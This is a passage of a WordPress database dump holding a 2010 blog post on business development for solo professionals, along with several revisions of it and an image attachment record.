their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\n<h2 style="text-align: left;"><span style="color: #808080;">I suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.</span></h2>\r\nRemember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be. To work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects.\r\n\r\n<strong>If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.</strong>\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'publish', 'open', 'open', '', 'how-to-turn-an-interruption-into-a-conversation-and-other-smart-strategies-for-business-development', '', '', '2010-12-27 16:01:47', '2010-12-27 23:01:47', '', 0, 'http://www.whitehotcenter.com/?p=1002', 0, 'post', '', 0),
(1003, 2, '2010-08-02 15:33:23', '2010-08-02 22:33:23', '', 'bizdev', 0, '', 'inherit', 'open', 'open', '', 'bizdev', '', '', '2010-08-02 15:33:23', '2010-08-02 22:33:23', '', 1002, 'http://www.whitehotcenter.com/wp-content/uploads/2010/08/bizdev.gif', 0, 'attachment', 'image/gif', 0),
(1004, 2, '2010-08-02 15:36:34', '2010-08-02 22:36:34', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="515" height="228" />\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on the unpredictability of referrals. There is a better  way to build your new business chops.</h2>\n<div>\n\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\n\n<strong>Business development is not selling.</strong>\n\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\n\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\n\n<strong>Be a value-creator not an order-taker.</strong>\n\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\n\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, healthcare, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\n\nWhen you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. You will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\n\n<strong>Turning an interruption into a conversation.</strong>\n\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\n\n<em>Passive Outreach</em>\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\n<ul>\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\n</ul>\nThese passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise. Done properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\n\n<em>Direct Outreach</em>\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\n<ul>\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\n</ul>\nI suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.  Remember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\n\n<strong>Inbound conversation is the goal of outbound business development.</strong>\n\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be.\n\nTo work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects. If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.\n\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision', '', '', '2010-08-02 15:36:34', '2010-08-02 22:36:34', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-revision/', 0, 'revision', '', 0);
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(1005, 2, '2010-08-02 15:37:18', '2010-08-02 22:37:18', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="515" height="228" />\r\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on the unpredictability of referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, healthcare, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n\r\nWhen you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. You will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h1>These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</h1>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\nI suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.  Remember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be.\r\n\r\nTo work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects. If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision-2', '', '', '2010-08-02 15:37:18', '2010-08-02 22:37:18', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-revision-2/', 0, 'revision', '', 0),
(1006, 2, '2010-08-02 15:37:26', '2010-08-02 22:37:26', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="515" height="228" />\r\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on the unpredictability of referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, healthcare, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n\r\nWhen you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. You will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h1>These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</h1>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\nI suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.  Remember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be.\r\n\r\nTo work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects. If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision-3', '', '', '2010-08-02 15:37:26', '2010-08-02 22:37:26', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-revision-3/', 0, 'revision', '', 0),
(1007, 2, '2010-08-02 15:39:09', '2010-08-02 22:39:09', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="500" height="221" />\r\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on the unpredictability of referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, healthcare, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n\r\nWhen you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. You will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h2>These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</h2>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\nI suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.  Remember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be. To work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects.\r\n\r\n<strong>If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.</strong>\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision-4', '', '', '2010-08-02 15:39:09', '2010-08-02 22:39:09', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-revision-4/', 0, 'revision', '', 0),
(1008, 2, '2010-08-02 15:39:18', '2010-08-02 22:39:18', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="500" height="221" />\r\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on the unpredictability of referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, healthcare, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n\r\nWhen you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. You will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target 